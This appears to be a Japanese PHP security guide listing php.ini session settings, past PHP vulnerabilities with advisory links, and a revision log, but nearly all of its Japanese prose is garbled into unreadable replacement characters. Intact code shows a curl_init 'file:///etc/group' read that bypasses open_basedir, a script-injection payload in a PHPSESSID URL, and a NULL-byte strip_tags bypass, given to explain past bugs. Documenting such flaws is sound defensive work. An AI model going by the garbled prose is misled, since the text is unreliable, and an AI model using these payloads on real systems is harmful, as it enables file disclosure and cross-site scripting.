session.entropy_file | "" | /dev/urandom | ���å���� ID ����������ݤ˻��Ѥ��륨��ȥ��ԥ������ؤΥѥ�����ꤷ�ޤ������å���� ID ���������������ˤʤ�ޤ��Τǡ�
��ǽ�Ǥ�������ꤷ�Ƥ������ɤ��Ȼפ��ޤ���session.entropy_length �Ȱ������ꤷ�Ƥ��������� |
session.entropy_length | 0 | 16 | session.entropy_file �ǻ��ꤷ���ե����뤫���ɤ߹���Х��ȿ�����ꤷ�ޤ���
Ŭ���ʥ���������ꤷ�Ƥ������ɤ��Ȼפ��ޤ�����������0 �ξ���̵���ˤʤ�ޤ��Τ����դ��Ƥ��������� |
session.hash_function | 0 | 1 | PHP 5.0.0 ���ɲä��줿����Ǥ������å���� ID ����������ؿ������ޤ���0:MD5, 1:SHA-1 �Ǥ���
MD5 �Ͻ�ʬ�ʶ��٤�����Ȥϸ����ʤ������ˤʤäƤ��Ƥ��ޤ��Τǡ�1 (SHA-1) ����Ѥ��������ɤ��Ȼפ��ޤ��� |
�����ե⡼�ɤ����ꤹ�뤳�Ȥ��ǽ�Ǥ���������Ū�ˤϺ�������ͽ��Ǥ��뤳�ȡ����Ԥ����ۤɸ���Ū�Ǥʤ����ե�������¸���θ�������ˤ�ꡢ�ե�����˽���ʤ��ʤɡ����꤬¿�����Ȥ��餳���Ǥ����������Ƥ��ޤ���
�ʲ��Υڡ����ʤɤǡ��������ƥ����ޤȤ���Ƥ��ޤ���
PHP/�ȼ����ꥹ�� (wiki.ohgaki.net)���ܸ�
SecurityFocus HOME Vulns Archive: Vendor Vendor �� PHP ������
Get CVE PHP ��
�����ǤޤȤ����ϸŤ���Τ�¿���Ǥ����Ƕᡢ�ɤΤ褦�ʥ������ƥ����꤬�������줿���ϡ�PHP �� ChangeLog �Ȥ��Ƥ���������
PHP �ˤϡ�php.ini �� open_basedir
�����ꤷ�� PHP ������ץȤ�ư�����ǥ��쥯�ȥ�����¤��뵡ǽ������ޤ������������¤����Ƥ��ޤ���礬���뤳�Ȥ���𤵤�Ƥ��ޤ���
Secunia ����Ǥϡ�/home/user1/ �ǤΤ� PHP ��ư�����Ĥ��ǰʲ��Τ褦�����ꤷ�Ƥ�����硢
open_basedir = /home/user1/
/home/user11/, /home/user12/, ... �ʤɤ������� /home/user1 �Ȱ��פ���ѥ�̾��������ƤΥǥ��쥯�ȥ�� PHP ������ץȤ�ư��ޤ���/home/user2/ �ʤɡ�1ʸ���Ǥ�㤤�������������Ϥ���ޤ���
open_basedir
����Ѥ��� PHP ��ư����ɤ߹��ߥǥ��쥯�ȥ�����¤��Ƥ���������꤬�����ʤ�����ǧ���������ɤ����⤷��ޤ���������� PHP 4.4.0 �� PHP 5.0.4 �Ǥ��ǧ����Ƥ��뤽���Ǥ���
PHP 4.4.1 �� PHP 5.1.0 �ǤϽ�������Ƥ��ޤ����ޤ���PHP 5.0.6 �ǽ��������ͽ��ˤʤäƤ��ޤ�����PHP 5.0.6 �ϸ�������뤫�ɤ�����ʬ����ޤ���
Bug #32937 PHP don't respect trailing slashes in open_basedir (bugs.php.net)
libapache2-mod-php4 - open_basedir bug - security (Debian Bug report)
GD �ΰ����δؿ�(imagegif()
, imagepng()
, imagejpeg()
) �䡢curl_init()
�ǡ�php.ini �ˤ��������ꤷ���ǥ��쥯�ȥ����¤����Ƥ��ޤ����꤬��𤵤�Ƥ��ޤ���
PHP 4.4.1 �� PHP 5.1.0 �ǤϽ�������Ƥ��ޤ����ޤ���PHP 5.0.6 �ǽ��������ͽ��ˤʤäƤ��ޤ�����PHP 5.0.6 �ϸ�������뤫�ɤ�����ʬ����ޤ���
Path Disclosure and PHP - iBlog - Ilia Alshanetsky �ˤ��ȡ����衢script.php?name=foo
�Τ褦�������ѿ��μ���������Ԥ��Ƥ��륹����ץȤǡ�script.php?name[]=foo
�Τ褦�ʷ��������ѿ���������ȡ�������ץȤˤ�äƤϥ��顼��ȯ�������ǥ��쥯�ȥ�ѥ���ɽ������Ƥ��ޤ��Ȥ������꤬���뤽���Ǥ���
��������� PHP �����ƤΥС������DZƶ�������ޤ��������餯��������Τ�̵�����Ȼפ��ޤ��Τǡ��ǥ��쥯�ȥ�ѥ���ɽ�������Ⱥ���褦�ʾ��ϡ��ʲ��Υ��顼��ɽ�����ʤ��褦�ˤ����к���ԤäƤ���������
�к��Ȥ��ơ��ʲ��Τ褦�˥��顼��֥饦����ɽ�����ʤ��褦�����ꤷ���̤ǥե�����˥�����Ͽ������ˡ�ȡ����������˥��㥹�Ȥ���Ѥ��Ʒ��������Ƥ��ޤ��Ȥ�����ˡ�����Ƥ��ޤ���
<?php ini_set("display_errors", 0); ini_set("log_errors", 1); ini_set("error_log", "/path/to/php/errors"); ?>
GET, POST, COOKIE �Υѥ���̾��������ʸ����������ȡ������������Ȥ�������Ǥ����ʲ��Τ褦�ˡ�"[" ���Ĥ��ʤ����˵�����褦�Ǥ�����������ϡ�PHP 4.1.2 ���� PHP 4.3.8 ������ PHP 5.0.1 �����dz�ǧ����Ƥ��ޤ���
http://example.com/filename.php?abc[a][=1
PHP 4.3.9 �� PHP 5.0.2 �ǽ�������Ƥ��ޤ���
PHP 4.3.10 �����ΥС������ǡ���ĥ�⥸�塼��Ǥ��롢CURL ����Ѥ���ȡ�php.ini �� open_basedir
�����ꤷ���������ƥ����¤����Ƥ��ޤ��Ȥ������꤬��𤵤�Ƥ��ޤ�������������ϡ�CURL �⥸�塼��˴ޤޤ�� curl_init()
�ʤɤδؿ��ϡ�open_basedir
�����¤�����������������ˤ���Ǥ�դΥե�������ɤ߹��ߤ���ǽ�Ǥ���Ȥ������ȤǤ���
�ʲ��Τ褦�ˡ�file://
�� curl_init()
�ΰ�����Ϳ���뤳�Ȥǡ���������ˤ���Ǥ�դΥե��������Ƥ�ɽ�������뤳�Ȥ���ǽ�Ǥ���
$ch = curl_init( "file:///etc/group" ); eco curl_exec( $ch );
��ʬ�����ϥ����å���Ԥ���curl_init()
�ΰ������������ͤ�����ʤ��褦�ˤ��뤳�Ȥ�����β���ϲ�ǽ�Ǥ����ޤ���CURL �⥸�塼���̵���ˤ��뤳�ȤǤ⤳������ϲ����ǽ�Ǥ���
��������� PHP 4.3.11 �� PHP 5.0.4 �ʹߤǽ�������Ƥ��ޤ���
PHP 4.3.7 �����ΥС������ǡ�PHP �Υ���ѥ��륪�ץ����� --enable-memory-limit
����ꤷ�Ƥ������˥�⡼�Ȥ���ι��⤬��ǽ�Ȥ�������Ǥ����⤷��--enable-memory-limit
����ꤷ�� PHP ��ѥ��뤷�Ƥ�����ϡ�PHP 4.3.8 �ʹߤ˥С�����åפ��뤳�Ȥ��侩����Ƥ��ޤ���
--enable-memory-limit
���� PHP ��ѥ��뤹�뤳�ȤǤ�������ϲ���Ǥ��ޤ��������ѥ���ξ�¤�̵�����֤ˤʤ�ޤ��Τǡ���������̤�¿�� PHP ������ץȤ�¿�����ϡ��������ˤʤ��ǽ���⤢��ޤ��Τ����դ��Ƥ���������
Advisory 11/2004 PHP memory_limit remote vulnerability (e-matters)
PHP-4.3.7�����˥�⡼���ȼ���ȯ�� (����å���ɥåȡ�����ѥ�)
PHP "strip_tags()" Function and memory_limit Vulnerabilities (Secunia)
PHP 4.3.7 ������ strip_tags()
����2�����ˡ����Ĥ��륿������ꤷ����硢\0
(NULL �Х���)��ޤ�뤳�Ȥǡ������ν�������Ǥ��Ƥ��ޤ��Ȥ�������Ǥ���
�㤨�С��ʲ��Τ褦�˼¹Ԥ��줿��硢�����Ͻ���줺�ˡ�\0
���դ����ޤ��Ϥ���Ƥ��ޤ��ޤ���
echo strip_tags( "<\0script>alert()</\0script>", "<s>" );
strip_tags()
���� 2 �������ά���ơ����ĥ�������ꤷ�ʤ����ϡ�����ˤʤ�ʤ��褦�Ǥ���
�ǿ��Ǥ� Mozilla �� Opera �ʤɤǤϡ�<\0script>
�Τ褦�ʥ����� script �����ȤϤߤʤ��줺��̵�뤵��ޤ�����Internet Explorer �ʤɤΥ֥饦���Ǥϡ�script �����Ȥ��ƽ������졢Javascript �ʤɤ��¹Ԥ���Ƥ��ޤ���ǽ��������ޤ���
strip_tags()
�ϡ�PHP 4.3.2 ����Х��ʥꥻ���դ��ѹ�����Ƥ��ޤ���PHP 4.3.1 �����ΥС������ǡ�\0
���ޤޤ줿ʸ������1���������Ϥ��줿��硢������ʸ����ü�Ȥ��Ƥߤʤ��졢strip_tags()
����� \0
��������ʬ�ǽ���äƤ��ޤ��Ȥ������꤬����ޤ���
���������ľ�ܤδ�����������櫓�ǤϤ���ޤ���ͽ�۳��η�̤ˤʤ뤳�Ȥ�����ޤ��Τǡ�����Ĥ��Ƥ����������ɤ��Ȼפ��ޤ��������������뤿��ˤϡ��桼����������ϥ����å����ˡ�\0
�������������Ԥ�������פǤ���
PHP 4.3.1 �ʲ��ΥС������ǡ�session.use_trans_sid
��ͭ���ˤ��Ƥ����硢�ʲ��Τ褦�˥��å���� ID �˥�����ޤ��ȥ����������ȥ�����ץƥ�����ǽ�ˤʤäƤ��ޤ����꤬��𤵤�Ƥ��ޤ���
��������ϡ�PHP 4.3.2 �ǽ�������ޤ�����
http://www.example.com/index.php?PHPSESSID="><script>alert()</script>
PHP 4.3.2 �� sprintf()
�� printf()
�ؿ��ˤϡ�����������ͤ�����ȡ�NULL �Х��Ȥ�������ɲä���Ƥ��ޤ��Х�������ޤ���
PHP 4.3.0 ���� PHP 4.3.2 �Υ����ե⡼�ɤ˥Х������ꡢ�����ե⡼�ɤ����꤬����Ƥ��ޤ��Ȥ����Х�������ޤ����������ե⡼�ɤ���Ѥ����硢PHP 4.3.0 ���� PHP 4.3.2 �ϻ��Ѥ��ʤ��Ǥ���������
��������� PHP 4.3.3 �ʹߤǽ�������Ƥ��ޤ���PHP 4.2.x �����ΥС������Ǥϱƶ��Ϥ���ޤ���
PHP safe mode broken? (Bugtraq)
Re: PHP safe mode broken? (Bugtraq)
PHP �Υ����ե⡼�ɥХ� (2004.07.20 ������)
PHP 4.3.0 �� CGI �Ǥˤϡ�Web �����Ф��ɤ߹��߲�ǽ�����ƤΥե�����ؤΥ�����������ǽ�ˤʤäƤ��ޤ��Ȥ����Х�������ޤ���
PHP Security Advisory: CGI vulnerability in PHP version 4.3.0(����: PHP 4.3.1 Release Announcement)
PHP execution of arbitrary code (Secunia)
PHP CGI SAPI Code Execution Vulnerability (Security Focus)
CGI SAPI Security Vulnerability (SecuriTeam.com)
PHP �ޥ˥奢�� : �������ƥ� (PHP �ޥ˥奢��)
PHP Security Guide (PHP Security Consortium)
�����奢���ץ�����ߥֺ� (IPA)
PHP �Υ������ƥ���Ϣ�����ؤΥ��(�Ѹ�)��
PHP �Υ������ƥ���Ϣ�Υץ쥼��ơ���������(�Ѹ�)��
Web Application Security Consortium: Threat Classification
Web ���ץꥱ�������DZƶ���������ǽ���Τ��륻�����ƥ�����ˤĤ��ơ�ʬ��Ȥ��β����Ԥä�ʸ�����ܸ����⤢��ޤ���
���Υڡ����ˤĤ��Ƥ����������դʤ��ˡ����ҤξҲ���ɲá�
CSRF(�����������ȥꥯ�����ȥե���������: Cross-Site Request Forgeries)���н���ˡ�˷Ǻܤ��Ƥ��������ɤ˴ְ㤤������ޤ����Τǡ��������ޤ�������Ŧ���Ƥ������ä� yu-ki ���ɤ��⤢�꤬�Ȥ��������ޤ�����
����¾���٤���ʸ��ν�����Ԥ��ޤ�����
�����������ȥ�����ץƥ����ξ����Τ�ľ���Ƶ��ˤʤä���ʬ�������ޤ�����
CSRF(�����������ȥꥯ�����ȥե���������: Cross-Site Request Forgeries)�ξϤ��ɲä��ޤ�����
���å����ν�λ�����å���� ID ���ѹ��ǥ��å����ե�����κ���Υ����������ɤ�Ƕ�ΥС��������θ�������˽������ޤ�����
�������ƥ�����θ���� php.ini ��������ľ���ƹ��ܤ��ɲä��ޤ�����
PHP �� include(), require() ��Ϣ������ˤĤ����ξϤ� allow_url_include �ι��ܤ��ɲ�
PHP�Ǥ������ͥ����å��Τ���ȴ��(T.Terada������) ���ɤ�ǡ�preg_match()
�� $ �����Ԥ˥ޥå����뤳�Ȥ��ǧ���ޤ����Τǡ���Ȥ��ƵƤ��� PHP ������ץȤ� D �����Ҥ��ɲä��ޤ�����
����¾���٤���ʸ��θ�����æ���ν�����Ԥ��ޤ�����
Session Fixation(���å�������)�������н���ˡ�˴ְ㤤������ޤ����Τǡ��������ޤ�������Ŧ���Ƥ������ä��⾲���ɤ��⤢�꤬�Ȥ��������ޤ�����
����¾���٤���ʸ��ν�����Ԥ��ޤ�����
�Ǻܥ����ɤΰ����˴ְ㤤������ޤ����Τǡ��������ޤ�������Ŧ���Ƥ������ä������ɤ��⤢�꤬�Ȥ��������ޤ�����
����Ū��ʸ��ν�����Ԥ��ޤ�������������ɽ�����С������ʤɤε��Ҥν����ȸ�����æ���ν�����Ԥ��ޤ�����
�ʲ��ι��ܤ��ɲä��ޤ�����
����Ū��ʸ��ν�����Ԥ��ޤ�������������ɽ�����С������ʤɤε��Ҥν����ȸ�����æ���ν�����Ԥ��ޤ�����
�ʲ��ι��ܤ��ɲä��ޤ�����
����ɲ�
����ڤ�ν���
�ʲ��ι��ܤ��ɲä��ޤ�����
$_SERVER['PHP_SELF']
�Τޤ��Ϥ���ȥ����������ȥ�����ץƥ�����ǽ�ˤʤäƤ��ޤ����ᡢ�����ս�� $_SERVER['PHP_SELF']
�� $_SERVER['SCRIPT_NAME']
�˽�������ƣ����Ŧ�ɤ��⤢�꤬�Ȥ��������ޤ�����
PHP ����𤵤�Ƥ���Х����������ƥ����� �˰ʲ��Σ��Ĥι��ܤ��ɲá�
������æ���ν����ʤɡ�
����ڤ�ν�����
���å���� ID ���ѹ� �ˡ�PHP 5.1.0 ����session_regenerate_id()
�˥��ץ�����ɲä��줿���ȤˤĤ����ɵ�
allow_url_fopen �� Off �ˤ����н�ˤĤ��Ƥ����� �����������ޤȤ�ľ�����ɲá�
PHP ����𤵤�Ƥ���Х����������ƥ����� �˲���������ޤȤ�ľ�����ɲá�
������æ���ν���
�֥ǥ��쥯�ȥꡦ�ȥ�С�����פ�֥ѥ����ȥ�С�����פ��ѹ���
���ͥ���ɲá�
Session Fixation ������ˡ �ˤĤ����ɵ���
���ͥ���ɲá�
���ͥ���ɲá�
���ͥ���ɲá�
������æ���ν����ʤɡ�
�ʲ��ι��ܤ��ɲä��ޤ�����
������æ���ν����ʤɡ�
�ƾϤ��ܼ����դ���褦�ˤ��ޤ�����
�����������ȥ�����ץƥ����ξϤ˰ʲ��ι��ܤ��ɲá�
PHP �ǥ��å�����ѿ���Cookie ����Ѥ���ݤΥ������ƥ��к��ˤĤ����˰ʲ��ι��ܤ��ɲá�
�ե����륢�åץ����ɤˤĤ������ɲá�
����¾�θ�����æ���������ɵ��ʤɡ�
PHP �� include(), require() ��Ϣ������ˤĤ����˰ʲ��ι��ܤ��ɲá�
����Τ���ѥ����ȥ�С������к����ɲá�
����¾��������æ���ν����ʤɡ�
���Ǻ�����������